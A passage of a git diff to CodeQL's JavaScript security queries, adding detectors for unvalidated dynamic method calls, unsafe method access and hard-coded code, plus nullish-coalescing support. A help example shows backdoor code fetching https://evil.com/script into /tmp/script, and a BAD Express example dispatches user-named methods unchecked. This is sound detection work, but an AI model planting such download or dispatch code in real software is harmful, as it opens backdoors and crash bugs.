    diff --git a/javascript/ql/src/Security/CWE-754/UnvalidatedDynamicMethodCall.ql b/javascript/ql/src/Security/CWE-754/UnvalidatedDynamicMethodCall.ql new file mode 100644 index 00000000000..df3b2e8aa16 --- /dev/null +++ b/javascript/ql/src/Security/CWE-754/UnvalidatedDynamicMethodCall.ql @@ -0,0 +1,21 @@ +/** + * @name Unvalidated dynamic method call + * @description Calling a method with a user-controlled name may dispatch to + * an unexpected target, which could cause an exception. + * @kind path-problem + * @problem.severity warning + * @precision high + * @id js/unvalidated-dynamic-method-call + * @tags security + * external/cwe/cwe-754 + */ + +import javascript +import semmle.javascript.security.dataflow.UnvalidatedDynamicMethodCall::UnvalidatedDynamicMethodCall +import DataFlow::PathGraph + +from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink +where cfg.hasFlowPath(source, sink) +select sink.getNode(), source, sink, + "Invocation of method with $@ name may dispatch to unexpected target and cause an exception.", + source.getNode(), "user-controlled" diff --git a/javascript/ql/src/Security/CWE-754/examples/UnvalidatedDynamicMethodCall.js b/javascript/ql/src/Security/CWE-754/examples/UnvalidatedDynamicMethodCall.js new file mode 100644 index 00000000000..6db531150ee --- /dev/null +++ b/javascript/ql/src/Security/CWE-754/examples/UnvalidatedDynamicMethodCall.js @@ -0,0 +1,17 @@ +var express = require('express'); +var app = express(); + +var actions = { + play(data) { + // ... + }, + pause(data) { + // ... + } +} + +app.get('/perform/:action/:payload', function(req, res) { + let action = actions[req.params.action]; + // BAD: `action` may not be a function + res.end(action(req.params.payload)); +}); diff --git a/javascript/ql/src/Security/CWE-754/examples/UnvalidatedDynamicMethodCallGood.js b/javascript/ql/src/Security/CWE-754/examples/UnvalidatedDynamicMethodCallGood.js new file mode 100644 index 00000000000..6c3d5b900e9 --- /dev/null +++ b/javascript/ql/src/Security/CWE-754/examples/UnvalidatedDynamicMethodCallGood.js @@ -0,0 +1,20 @@ +var express = require('express'); +var app = express(); + +var actions = new Map(); +actions.put("play", function play(data) { + // ... +}); +actions.put("pause", function pause(data) { + // ... +}); + +app.get('/perform/:action/:payload', function(req, res) { + if (actions.has(req.params.action)) { + let action = actions.get(req.params.action); + // GOOD: `action` is either the `play` or the `pause` function from above + res.end(action(req.params.payload)); + } else { + res.end("Unsupported action."); + } +}); diff --git a/javascript/ql/src/Security/CWE-754/examples/UnvalidatedDynamicMethodCallGood2.js b/javascript/ql/src/Security/CWE-754/examples/UnvalidatedDynamicMethodCallGood2.js new file mode 100644 index 00000000000..8e627b87cd0 --- /dev/null +++ b/javascript/ql/src/Security/CWE-754/examples/UnvalidatedDynamicMethodCallGood2.js @@ -0,0 +1,23 @@ +var express = require('express'); +var app = express(); + +var actions = { + play(data) { + // ... + }, + pause(data) { + // ... + } +} + +app.get('/perform/:action/:payload', function(req, res) { + if (actions.hasOwnProperty(req.params.action)) { + let action = actions[req.params.action]; + if (typeof action === 'function') { + // GOOD: `action` is an own method of `actions` + res.end(action(req.params.payload)); + return; + } + } + res.end("Unsupported action."); +}); diff --git a/javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp b/javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp new file mode 100644 index 00000000000..22962ac620d --- /dev/null +++ b/javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp @@ -0,0 +1,43 @@ + + + + +

    + Storing user-controlled data on the local file system without + further validation allows arbitrary file upload, and may be + an indication of malicious backdoor code that has been + implanted into an otherwise trusted code base. +

    +
    + + +

    + Examine the highlighted code closely to ensure that it is + behaving as intended. +

    +
    + + +

    + The following example shows backdoor code that downloads data + from the URL https://evil.com/script, and stores + it in the local file /tmp/script. +

    + + + +

    + Other parts of the program might then assume that since + /tmp/script is a local file its contents can be + trusted, while in fact they are obtained from an untrusted + remote source. +

    +
    + + +
  • OWASP: Trojan Horse.
  • +
  • OWASP: Unrestricted File Upload.
  • +
    +
    diff --git a/javascript/ql/src/Security/CWE-912/HttpToFileAccess.ql b/javascript/ql/src/Security/CWE-912/HttpToFileAccess.ql index fe42fe8ef04..8b374e5bea4 100644 --- a/javascript/ql/src/Security/CWE-912/HttpToFileAccess.ql +++ b/javascript/ql/src/Security/CWE-912/HttpToFileAccess.ql @@ -6,6 +6,7 @@ * @id js/http-to-file-access * @tags security * external/cwe/cwe-912 + * external/cwe/cwe-434 */ import javascript diff --git a/javascript/ql/src/Security/CWE-912/examples/HttpToFileAccess.js b/javascript/ql/src/Security/CWE-912/examples/HttpToFileAccess.js new file mode 100644 index 00000000000..ed19e6b547f --- /dev/null +++ b/javascript/ql/src/Security/CWE-912/examples/HttpToFileAccess.js @@ -0,0 +1,8 @@ +var https = require("https"); +var fs = require("fs"); + +https.get('https://evil.com/script', res => { + res.on("data", d => { + fs.writeFileSync("/tmp/script", d) + }) +}); diff --git a/javascript/ql/src/plugin.xml b/javascript/ql/src/plugin.xml deleted file mode 100644 index 19bcfc22249..00000000000 --- a/javascript/ql/src/plugin.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - - - - - - - - diff --git a/javascript/ql/src/semmle/javascript/Expr.qll b/javascript/ql/src/semmle/javascript/Expr.qll index a5ebb5d6b60..c78787948c0 100644 --- a/javascript/ql/src/semmle/javascript/Expr.qll +++ b/javascript/ql/src/semmle/javascript/Expr.qll @@ -1288,6 +1288,15 @@ class LogOrExpr extends @logorexpr, BinaryExpr { override ControlFlowNode getFirstControlFlowNode() { result = this } } +/** A nullish coalescing '??' expression. */ +class NullishCoalescingExpr extends @nullishcoalescingexpr, BinaryExpr { + override string getOperator() { + result = "??" + } + + override ControlFlowNode getFirstControlFlowNode() { result = this } +} + /** * A logical binary expression, that is, either a logical * 'or' or a logical 'and' expression. @@ -1295,7 +1304,8 @@ class LogOrExpr extends @logorexpr, BinaryExpr { class LogicalBinaryExpr extends BinaryExpr { LogicalBinaryExpr() { this instanceof LogAndExpr or - this instanceof LogOrExpr + this instanceof LogOrExpr or + this instanceof NullishCoalescingExpr } } @@ -1901,4 +1911,36 @@ private class LiteralDynamicImportPath extends PathExprInModule, ConstantString } override string getValue() { result = this.(ConstantString).getStringValue() } -} \ No newline at end of file +} + +/** + * A call or member access that evaluates to `undefined` if its base operand evaluates to `undefined` or `null`. + */ +class OptionalUse extends Expr, @optionalchainable { OptionalUse() { isOptionalChaining(this) } } + +private class ChainElem extends Expr, @optionalchainable { + /** + * Gets the base operand of this chainable element. + */ + ChainElem getChainBase() { + result = this.(CallExpr).getCallee() or + result = this.(PropAccess).getBase() + } +} + +/** + * The root in a chain of calls or property accesses, where at least one call or property access is optional. + */ +class OptionalChainRoot extends ChainElem { + OptionalUse optionalUse; + + OptionalChainRoot() { + getChainBase*() = optionalUse and + not exists(ChainElem other | this = other.getChainBase()) + } + + /** + * Gets an optional call or property access in the chain of this root. + */ + OptionalUse getAnOptionalUse() { result = optionalUse } +} diff --git a/javascript/ql/src/semmle/javascript/NodeJS.qll b/javascript/ql/src/semmle/javascript/NodeJS.qll index 0d0827a5ed2..9503e9637cd 100644 --- a/javascript/ql/src/semmle/javascript/NodeJS.qll +++ b/javascript/ql/src/semmle/javascript/NodeJS.qll @@ -132,7 +132,13 @@ predicate findNodeModulesFolder(Folder f, Folder nodeModules, int distance) { */ private class RequireVariable extends Variable { RequireVariable() { - exists (ModuleScope m | this = m.getVariable("require")) + this = any(ModuleScope m).getVariable("require") + or + // cover cases where we failed to detect Node.js code + this.(GlobalVariable).getName() = "require" + or + // track through assignments to other variables + this.getAnAssignedExpr().(VarAccess).getVariable() instanceof RequireVariable } } @@ -149,7 +155,9 @@ private predicate moduleInFile(Module m, File f) { class Require extends CallExpr, Import { Require() { exists (RequireVariable req | - this.getCallee() = req.getAnAccess() + this.getCallee() = req.getAnAccess() and + // `mjs` files explicitly disallow `require` + getFile().getExtension() != "mjs" ) } diff --git a/javascript/ql/src/semmle/javascript/dataflow/internal/BasicExprTypeInference.qll b/javascript/ql/src/semmle/javascript/dataflow/internal/BasicExprTypeInference.qll index 17fc893239f..57e0ac44f97 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/internal/BasicExprTypeInference.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/internal/BasicExprTypeInference.qll @@ -413,3 +413,15 @@ private class AnalyzedAssignAddExpr extends AnalyzedCompoundAssignExpr { isAddition(astNode) and result = abstractValueOfType(TTNumber()) } } + +/** + * Flow analysis for optional chaining expressions. + */ +private class AnalyzedOptionalChainExpr extends DataFlow::AnalyzedValueNode { + override OptionalChainRoot astNode; + + override AbstractValue getALocalValue() { + result = super.getALocalValue() or + result = TAbstractUndefined() + } +} diff --git a/javascript/ql/src/semmle/javascript/dataflow/internal/InterProceduralTypeInference.qll b/javascript/ql/src/semmle/javascript/dataflow/internal/InterProceduralTypeInference.qll index 68568f8a306..15f4cddc5ad 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/internal/InterProceduralTypeInference.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/internal/InterProceduralTypeInference.qll @@ -157,6 +157,10 @@ abstract class CallWithNonLocalAnalyzedReturnFlow extends DataFlow::AnalyzedValu override AbstractValue getAValue() { result = getACallee().getAReturnValue() + or + // special case from the local layer (could be more precise if it is inferred that the callee is not `null`/`undefined`) + astNode instanceof OptionalChainRoot and + result = TAbstractUndefined() } } diff --git a/javascript/ql/src/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/src/semmle/javascript/frameworks/NodeJSLib.qll index a7355f3c4b3..19252cb7de1 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/NodeJSLib.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/NodeJSLib.qll @@ -297,7 +297,22 @@ module NodeJSLib { override predicate step(DataFlow::Node pred, DataFlow::Node succ) { pred = tainted and succ = this } + } + /** + * A model of taint propagation through `new Buffer` and `Buffer.from`. + */ + private class BufferTaintStep extends TaintTracking::AdditionalTaintStep, DataFlow::InvokeNode { + BufferTaintStep() { + this = DataFlow::globalVarRef("Buffer").getAnInstantiation() + or + this = DataFlow::globalVarRef("Buffer").getAMemberInvocation("from") + } + + override predicate step(DataFlow::Node pred, DataFlow::Node succ) { + pred = getArgument(0) and + succ = this + } } /** diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/HardcodedDataInterpretedAsCode.qll b/javascript/ql/src/semmle/javascript/security/dataflow/HardcodedDataInterpretedAsCode.qll new file mode 100644 index 00000000000..f7ff4042f7e --- /dev/null +++ b/javascript/ql/src/semmle/javascript/security/dataflow/HardcodedDataInterpretedAsCode.qll @@ -0,0 +1,97 @@ +/** + * Provides a taint-tracking configuration for reasoning about hard-coded data + * being interpreted as code. + */ + +import javascript +private import semmle.javascript.security.dataflow.CodeInjection + +module HardcodedDataInterpretedAsCode { + /** + * A data flow source for hard-coded data. + */ + abstract class Source extends DataFlow::Node { + /** Gets a flow label for which this is a source. */ + DataFlow::FlowLabel getLabel() { + result = DataFlow::FlowLabel::data() + } + } + + /** + * A data flow sink for code injection. + */ + abstract class Sink extends DataFlow::Node { + /** Gets a flow label for which this is a sink. */ + abstract DataFlow::FlowLabel getLabel(); + + /** Gets a description of what kind of sink this is. */ + abstract string getKind(); + } + + /** + * A sanitizer for hard-coded data. + */ + abstract class Sanitizer extends DataFlow::Node {} + + /** + * A taint-tracking configuration for reasoning about hard-coded data + * being interpreted as code + */ + class Configuration extends TaintTracking::Configuration { + Configuration() { + this = "HardcodedDataInterpretedAsCode" + } + + override predicate isSource(DataFlow::Node source, DataFlow::FlowLabel lbl) { + source.(Source).getLabel() = lbl + } + + override predicate isSink(DataFlow::Node nd, DataFlow::FlowLabel lbl) { + nd.(Sink).getLabel() = lbl + } + + override predicate isSanitizer(DataFlow::Node node) { + node instanceof Sanitizer + } + } + + /** + * A constant string consisting of eight or more hexadecimal characters (including at + * least one digit), viewed as a source of hard-coded data that should not be + * interpreted as code. + */ + private class DefaultSource extends Source, DataFlow::ValueNode { + DefaultSource() { + exists (string val | val = astNode.(Expr).getStringValue() | + val.regexpMatch("[0-9a-fA-F]{8,}") and + val.regexpMatch(".*[0-9].*") + ) + } + } + + /** + * A code injection sink; hard-coded data should not flow here. + */ + private class DefaultCodeInjectionSink extends Sink { + DefaultCodeInjectionSink() { this instanceof CodeInjection::Sink } + override DataFlow::FlowLabel getLabel() { result = DataFlow::FlowLabel::taint() } + override string getKind() { result = "code" } + } + + /** + * An argument to `require` path; hard-coded data should not flow here. + */ + private class RequireArgumentSink extends Sink { + RequireArgumentSink() { + this = any(Require r).getAnArgument().flow() + } + + override DataFlow::FlowLabel getLabel() { + result = DataFlow::FlowLabel::data() + or + result = DataFlow::FlowLabel::taint() + } + + override string getKind() { result = "an import path" } + } +} diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/PropertyInjectionShared.qll b/javascript/ql/src/semmle/javascript/security/dataflow/PropertyInjectionShared.qll new file mode 100644 index 00000000000..633ce99aaed --- /dev/null +++ b/javascript/ql/src/semmle/javascript/security/dataflow/PropertyInjectionShared.qll @@ -0,0 +1,47 @@ +/** + * Provides predicates for reasoning about flow of user-controlled values that are used + * as property names. + */ +import javascript + +module PropertyInjection { + /** + * A data-flow node that sanitizes user-controlled property names that flow through it. + */ + abstract class Sanitizer extends DataFlow::Node { + } + + /** + * Concatenation with a constant, acting as a sanitizer. + */ + private class ConcatSanitizer extends Sanitizer { + ConcatSanitizer() { + StringConcatenation::getAnOperand(this).asExpr() instanceof ConstantString + } + } + + /** + * Holds if the methods of the given value are unsafe, such as `eval`. + */ + predicate hasUnsafeMethods(DataFlow::SourceNode node) { + // eval and friends can be accessed from the global object. + node = DataFlow::globalObjectRef() + or + // document.write can be accessed + isDocument(node.asExpr()) + or + // 'constructor' property leads to the Function constructor. + node.analyze().getAValue() instanceof AbstractCallable + or + // Assume that a value that is invoked can refer to a function. + exists (node.getAnInvocation()) + } + + /** + * Holds if the `node` is of form `Object.create(null)` and so it has no prototype. + */ + predicate isPrototypeLessObject(DataFlow::MethodCallNode node) { + node = DataFlow::globalVarRef("Object").getAMethodCall("create") and + node.getArgument(0).asExpr() instanceof NullLiteral + } +} diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/RemotePropertyInjection.qll b/javascript/ql/src/semmle/javascript/security/dataflow/RemotePropertyInjection.qll index 1b2b20ad8e1..6d4cd47c2bf 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/RemotePropertyInjection.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/RemotePropertyInjection.qll @@ -1,11 +1,12 @@ /** - * Provides a taint tracking configuration for reasoning about injections in - * property names, used either for writing into a property, into a header or + * Provides a taint tracking configuration for reasoning about injections in + * property names, used either for writing into a property, into a header or * for calling an object's method. */ import javascript import semmle.javascript.frameworks.Express +import PropertyInjectionShared module RemotePropertyInjection { /** @@ -17,11 +18,11 @@ module RemotePropertyInjection { * A data flow sink for remote property injection. */ abstract class Sink extends DataFlow::Node { - + /** * Gets a string to identify the different types of sinks. */ - abstract string getMessage(); + abstract string getMessage(); } /** @@ -45,78 +46,50 @@ module RemotePropertyInjection { override predicate isSanitizer(DataFlow::Node node) { super.isSanitizer(node) or - node instanceof Sanitizer + node instanceof Sanitizer or + node instanceof PropertyInjection::Sanitizer } } /** - * A source of remote user input, considered as a flow source for remote property - * injection. + * A source of remote user input, considered as a flow source for remote property + * injection. */ class RemoteFlowSourceAsSource extends Source { RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource } } /** - * A sink for property writes with dynamically computed property name. + * A sink for property writes with dynamically computed property name. */ class PropertyWriteSink extends Sink, DataFlow::ValueNode { PropertyWriteSink() { - exists (DataFlow::PropWrite pw | astNode = pw.getPropertyNameExpr()) or - exists (DeleteExpr expr | expr.getOperand().(PropAccess).getPropertyNameExpr() = astNode) + exists (DataFlow::PropWrite pw | astNode = pw.getPropertyNameExpr()) or + exists (DeleteExpr expr | expr.getOperand().(PropAccess).getPropertyNameExpr() = astNode) } override string getMessage() { result = " a property name to write to." - } - } - - /** - * A sink for method calls using dynamically computed method names. - */ - class MethodCallSink extends Sink, DataFlow::ValueNode { - MethodCallSink() { - exists (DataFlow::PropRead pr | astNode = pr.getPropertyNameExpr() | - exists (pr.getAnInvocation()) - ) } + } - override string getMessage() { - result = " a method name to be called." - } - } - - /** - * A sink for HTTP header writes with dynamically computed header name. - * This sink avoids double-flagging by ignoring `SetMultipleHeaders` since - * the multiple headers use case consists of an objects containing different - * header names as properties. This case is already handled by - * `PropertyWriteSink`. + /** + * A sink for HTTP header writes with dynamically computed header name. + * This sink avoids double-flagging by ignoring `SetMultipleHeaders` since + * the multiple headers use case consists of an objects containing different + * header names as properties. This case is already handled by + * `PropertyWriteSink`. */ class HeaderNameSink extends Sink, DataFlow::ValueNode { HeaderNameSink() { - exists (HTTP::ExplicitHeaderDefinition hd | - not hd instanceof Express::SetMultipleHeaders and - astNode = hd.getNameExpr() - ) + exists (HTTP::ExplicitHeaderDefinition hd | + not hd instanceof Express::SetMultipleHeaders and + astNode = hd.getNameExpr() + ) } override string getMessage() { result = " a header name." } } - - /** - * A binary expression that sanitzes a value for remote property injection. That - * is, if a string is prepended or appended to the remote input, an attacker - * cannot access arbitrary properties. - */ - class ConcatSanitizer extends Sanitizer, DataFlow::ValueNode { - - override BinaryExpr astNode; - - ConcatSanitizer() { - astNode.getAnOperand() instanceof ConstantString - } - } } diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeDynamicMethodAccess.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeDynamicMethodAccess.qll new file mode 100644 index 00000000000..dace67b1bb9 --- /dev/null +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnsafeDynamicMethodAccess.qll @@ -0,0 +1,121 @@ +/** + * Provides a taint-tracking configuration for reasoning about method invocations + * with a user-controlled method name on objects with unsafe methods. + */ + +import javascript +import semmle.javascript.frameworks.Express +import PropertyInjectionShared + +module UnsafeDynamicMethodAccess { + private import DataFlow::FlowLabel + + /** + * A data flow source for unsafe dynamic method access. + */ + abstract class Source extends DataFlow::Node { + /** + * Gets the flow label relevant for this source. + */ + DataFlow::FlowLabel getFlowLabel() { + result = data() + } + } + + /** + * A data flow sink for unsafe dynamic method access. + */ + abstract class Sink extends DataFlow::Node { + /** + * Gets the flow label relevant for this sink + */ + abstract DataFlow::FlowLabel getFlowLabel(); + } + + /** + * A sanitizer for unsafe dynamic method access. + */ + abstract class Sanitizer extends DataFlow::Node { } + + /** + * Gets the flow label describing values that may refer to an unsafe + * function as a result of an attacker-controlled property name. + */ + UnsafeFunction unsafeFunction() { any() } + private class UnsafeFunction extends DataFlow::FlowLabel { + UnsafeFunction() { this = "UnsafeFunction" } + } + + /** + * A taint-tracking configuration for reasoning about unsafe dynamic method access. + */ + class Configuration extends TaintTracking::Configuration { + Configuration() { this = "UnsafeDynamicMethodAccess" } + + override predicate isSource(DataFlow::Node source, DataFlow::FlowLabel label) { + source.(Source).getFlowLabel() = label + } + + override predicate isSink(DataFlow::Node sink, DataFlow::FlowLabel label) { + sink.(Sink).getFlowLabel() = label + } + + override predicate isSanitizer(DataFlow::Node node) { + super.isSanitizer(node) or + node instanceof Sanitizer or + node instanceof PropertyInjection::Sanitizer + } + + /** + * Holds if a property of the given object is an unsafe function. + */ + predicate hasUnsafeMethods(DataFlow::SourceNode node) { + PropertyInjection::hasUnsafeMethods(node) // Redefined here so custom queries can override it + } + + override predicate isAdditionalFlowStep(DataFlow::Node src, DataFlow::Node dst, DataFlow::FlowLabel srclabel, DataFlow::FlowLabel dstlabel) { + // Reading a property of the global object or of a function + exists (DataFlow::PropRead read | + hasUnsafeMethods(read.getBase().getALocalSource()) and + src = read.getPropertyNameExpr().flow() and + dst = read and + (srclabel = data() or srclabel = taint()) and + dstlabel = unsafeFunction()) + or + // Reading a chain of properties from any object with a prototype can lead to Function + exists (PropertyProjection proj | + not PropertyInjection::isPrototypeLessObject(proj.getObject().getALocalSource()) and + src = proj.getASelector() and + dst = proj and + (srclabel = data() or srclabel = taint()) and + dstlabel = unsafeFunction()) + } + } + + /** + * A source of remote user input, considered as a source for unsafe dynamic method access. + */ + class RemoteFlowSourceAsSource extends Source { + RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource } + } + + /** + * The page URL considered as a flow source for unsafe dynamic method access. + */ + class DocumentUrlAsSource extends Source { + DocumentUrlAsSource() { isDocumentURL(asExpr()) } + } + + /** + * A function invocation of an unsafe function, as a sink for remote unsafe dynamic method access. + */ + class CalleeAsSink extends Sink { + CalleeAsSink() { + this = any(DataFlow::InvokeNode node).getCalleeNode() + } + + override DataFlow::FlowLabel getFlowLabel() { + result = unsafeFunction() + } + } +} diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/UnvalidatedDynamicMethodCall.qll b/javascript/ql/src/semmle/javascript/security/dataflow/UnvalidatedDynamicMethodCall.qll new file mode 100644 index 00000000000..f916c67a3e9 --- /dev/null +++ b/javascript/ql/src/semmle/javascript/security/dataflow/UnvalidatedDynamicMethodCall.qll @@ -0,0 +1,153 @@ +/** + * Provides a taint-tracking configuration for reasoning about unvalidated dynamic + * method calls. + */ + +import javascript +import semmle.javascript.frameworks.Express +import PropertyInjectionShared +private import semmle.javascript.dataflow.InferredTypes + +module UnvalidatedDynamicMethodCall { + private import DataFlow::FlowLabel + + /** + * A data flow source for unvalidated dynamic method calls. + */ + abstract class Source extends DataFlow::Node { + /** + * Gets the flow label relevant for this source. + */ + DataFlow::FlowLabel getFlowLabel() { + result = data() + } + } + + /** + * A data flow sink for unvalidated dynamic method calls. + */ + abstract class Sink extends DataFlow::Node { + /** + * Gets the flow label relevant for this sink + */ + abstract DataFlow::FlowLabel getFlowLabel(); + } + + /** + * A sanitizer for unvalidated dynamic method calls. + */ + abstract class Sanitizer extends DataFlow::Node { + abstract predicate sanitizes(DataFlow::Node source, DataFlow::Node sink, DataFlow::FlowLabel lbl); + } + + /** + * A flow label describing values read from a user-controlled property that + * may not be functions. + */ + private class MaybeNonFunction extends DataFlow::FlowLabel { + MaybeNonFunction() { this = "MaybeNonFunction" } + } + + /** + * A flow label describing values read from a user-controlled property that + * may originate from a prototype object. + */ + private class MaybeFromProto extends DataFlow::FlowLabel { + MaybeFromProto() { this = "MaybeFromProto" } + } + + /** + * A taint-tracking configuration for reasoning about unvalidated dynamic method calls. + */ + class Configuration extends TaintTracking::Configuration { + Configuration() { this = "UnvalidatedDynamicMethodCall" } + + override predicate isSource(DataFlow::Node source, DataFlow::FlowLabel label) { + source.(Source).getFlowLabel() = label + } + + override predicate isSink(DataFlow::Node sink, DataFlow::FlowLabel label) { + sink.(Sink).getFlowLabel() = label + } + + override predicate isSanitizer(DataFlow::Node nd) { + super.isSanitizer(nd) or + nd instanceof PropertyInjection::Sanitizer + } + + override predicate isAdditionalFlowStep(DataFlow::Node src, DataFlow::Node dst, DataFlow::FlowLabel srclabel, DataFlow::FlowLabel dstlabel) { + exists (DataFlow::PropRead read | + src = read.getPropertyNameExpr().flow() and + dst = read and + (srclabel = data() or srclabel = taint()) and + (dstlabel instanceof MaybeNonFunction + or + // a property of `Object.create(null)` cannot come from a prototype + not PropertyInjection::isPrototypeLessObject(read.getBase().getALocalSource()) and + dstlabel instanceof MaybeFromProto) and + // avoid overlapping results with unsafe dynamic method access query + not PropertyInjection::hasUnsafeMethods(read.getBase().getALocalSource()) + ) + } + } + + /** + * A source of remote user input, considered as a source for unvalidated dynamic method calls. + */ + class RemoteFlowSourceAsSource extends Source { + RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource } + } + + /** + * The page URL considered as a flow source for unvalidated dynamic method calls. + */ + class DocumentUrlAsSource extends Source { + DocumentUrlAsSource() { isDocumentURL(asExpr()) } + } + + /** + * A function invocation of an unsafe function, as a sink for remote unvalidated dynamic method calls. + */ + class CalleeAsSink extends Sink { + InvokeExpr invk; + + CalleeAsSink() { + this = invk.getCallee().flow() and + // don't flag invocations inside a try-catch + not invk.getASuccessor() instanceof CatchClause + } + + override DataFlow::FlowLabel getFlowLabel() { + result instanceof MaybeNonFunction and + // don't flag if the type inference can prove that it is a function; + // this complements the `FunctionCheck` sanitizer below: the type inference can + // detect more checks locally, but doesn't provide inter-procedural reasoning + this.analyze().getAType() != TTFunction() + or + result instanceof MaybeFromProto + } + } + + /** + * A check of the form `typeof x === 'function'`, which sanitizes away the `MaybeNonFunction` + * taint kind. + */ + class FunctionCheck extends TaintTracking::LabeledSanitizerGuardNode, DataFlow::ValueNode { + override EqualityTest astNode; + TypeofExpr t; + + FunctionCheck() { + astNode.getAnOperand().getStringValue() = "function" and + astNode.getAnOperand().getUnderlyingValue() = t + } + + override predicate sanitizes(boolean outcome, Expr e) { + outcome = astNode.getPolarity() and + e = t.getOperand().getUnderlyingValue() + } + + override DataFlow::FlowLabel getALabel() { + result instanceof MaybeNonFunction + } + } +} diff --git a/javascript/ql/src/semmlecode.javascript.dbscheme b/javascript/ql/src/semmlecode.javascript.dbscheme index 6486c78671c..4f136cb9360 100644 --- a/javascript/ql/src/semmlecode.javascript.dbscheme +++ b/javascript/ql/src/semmlecode.javascript.dbscheme @@ -338,6 +338,7 @@ case @expr.kind of | 104 = @decorator_list | 105 = @non_null_assertion | 106 = @bigintliteral +| 107 = @nullishcoalescingexpr ; @varaccess = @proper_varaccess | @export_varaccess; @@ -357,7 +358,7 @@ case @expr.kind of @comparison = @equalitytest | @ltexpr | @leexpr | @gtexpr | @geexpr; -@binaryexpr = @comparison | @lshiftexpr | @rshiftexpr | @urshiftexpr | @addexpr | @subexpr | @mulexpr | @divexpr | @modexpr | @expexpr | @bitorexpr | @xorexpr | @bitandexpr | @inexpr | @instanceofexpr | @logandexpr | @logorexpr; +@binaryexpr = @comparison | @lshiftexpr | @rshiftexpr | @urshiftexpr | @addexpr | @subexpr | @mulexpr | @divexpr | @modexpr | @expexpr | @bitorexpr | @xorexpr | @bitandexpr | @inexpr | @instanceofexpr | @logandexpr | @logorexpr | @nullishcoalescingexpr; @assignment = @assignexpr | @assignaddexpr | @assignsubexpr | @assignmulexpr | @assigndivexpr | @assignmodexpr | @assignexpexpr | @assignlshiftexpr | @assignrshiftexpr | @assignurshiftexpr | @assignorexpr | @assignxorexpr | @assignandexpr; @@ -1077,4 +1078,8 @@ xmllocations( @dataflownode = @expr | @functiondeclstmt | @classdeclstmt | @namespacedeclaration | @enumdeclaration | @property; -/* Last updated 2017/07/11. */ +@optionalchainable = @callexpr | @propaccess; + +isOptionalChaining(int id: @optionalchainable ref); + +/* Last updated 2018/10/23. */ diff --git a/javascript/ql/src/semmlecode.javascript.dbscheme.stats b/javascript/ql/src/semmlecode.javascript.dbscheme.stats index 9ec01562f78..6a32851f06b 100644 --- a/javascript/ql/src/semmlecode.javascript.dbscheme.stats +++ b/javascript/ql/src/semmlecode.javascript.dbscheme.stats @@ -1370,6 +1370,10 @@ 100 +@nullishcoalescingexpr +100 + + @xmldtd 1 @@ -1393,6 +1397,14 @@ @xmlcharacters 439958 + +@optionalchainable +100 + + +@nullishcoalescingexpr +100 + @@ -19773,6 +19785,18 @@ + +isOptionalChaining +100 + + +id +100 + + + + + rangeQuantifierLowerBound 146 diff --git a/javascript/ql/test/library-tests/DataFlow/flowStep.expected b/javascript/ql/test/library-tests/DataFlow/flowStep.expected index 2320ec3a36b..128d373b4d9 100644 --- a/javascript/ql/test/library-tests/DataFlow/flowStep.expected +++ b/javascript/ql/test/library-tests/DataFlow/flowStep.expected @@ -25,6 +25,7 @@ | tst.js:4:5:4:12 | y | tst.js:12:6:12:6 | y | | tst.js:4:5:4:12 | y | tst.js:13:5:13:5 | y | | tst.js:4:5:4:12 | y | tst.js:14:9:14:9 | y | +| tst.js:4:5:4:12 | y | tst.js:105:6:105:6 | y | | tst.js:4:9:4:12 | "hi" | tst.js:4:5:4:12 | y | | tst.js:9:2:9:2 | x | tst.js:9:1:9:3 | (x) | | tst.js:10:4:10:4 | y | tst.js:10:1:10:4 | x, y | @@ -59,6 +60,7 @@ | tst.js:25:1:25:3 | x | tst.js:32:1:32:0 | x | | tst.js:25:1:25:3 | x | tst.js:57:7:57:7 | x | | tst.js:25:1:25:3 | x | tst.js:58:11:58:11 | x | +| tst.js:25:1:25:3 | x | tst.js:105:1:105:1 | x | | tst.js:28:2:28:1 | x | tst.js:29:3:29:3 | x | | tst.js:28:2:29:3 | () =>\\n x | tst.js:28:1:30:1 | (() =>\\n ... ables\\n) | | tst.js:29:3:29:3 | x | tst.js:28:1:30:3 | (() =>\\n ... les\\n)() | @@ -117,6 +119,8 @@ | tst.js:101:13:101:16 | rest | tst.js:101:3:101:16 | [ , z ] = rest | | tst.js:102:10:102:18 | x + y + z | tst.js:98:1:103:17 | (functi ... 3, 0 ]) | | tst.js:103:4:103:16 | [ 19, 23, 0 ] | tst.js:98:11:98:24 | [ x, ...rest ] | +| tst.js:105:1:105:1 | x | tst.js:105:1:105:6 | x ?? y | +| tst.js:105:6:105:6 | y | tst.js:105:1:105:6 | x ?? y | | tst.ts:1:1:1:1 | A | tst.ts:1:11:1:11 | A | | tst.ts:1:1:1:1 | A | tst.ts:7:1:7:0 | A | | tst.ts:1:1:5:1 | A | tst.ts:7:1:7:0 | A | diff --git a/javascript/ql/test/library-tests/DataFlow/tst.js b/javascript/ql/test/library-tests/DataFlow/tst.js index d95d6774cfe..802e4bfa267 100644 --- a/javascript/ql/test/library-tests/DataFlow/tst.js +++ b/javascript/ql/test/library-tests/DataFlow/tst.js @@ -102,4 +102,5 @@ var vs2 = ( for (v of o) v ); // generator comprehensions are not analysed return x + y + z; })([ 19, 23, 0 ]); +x ?? y; // flow through short-circuiting operator // semmle-extractor-options: --experimental diff --git a/javascript/ql/test/library-tests/NodeJS/Require.expected 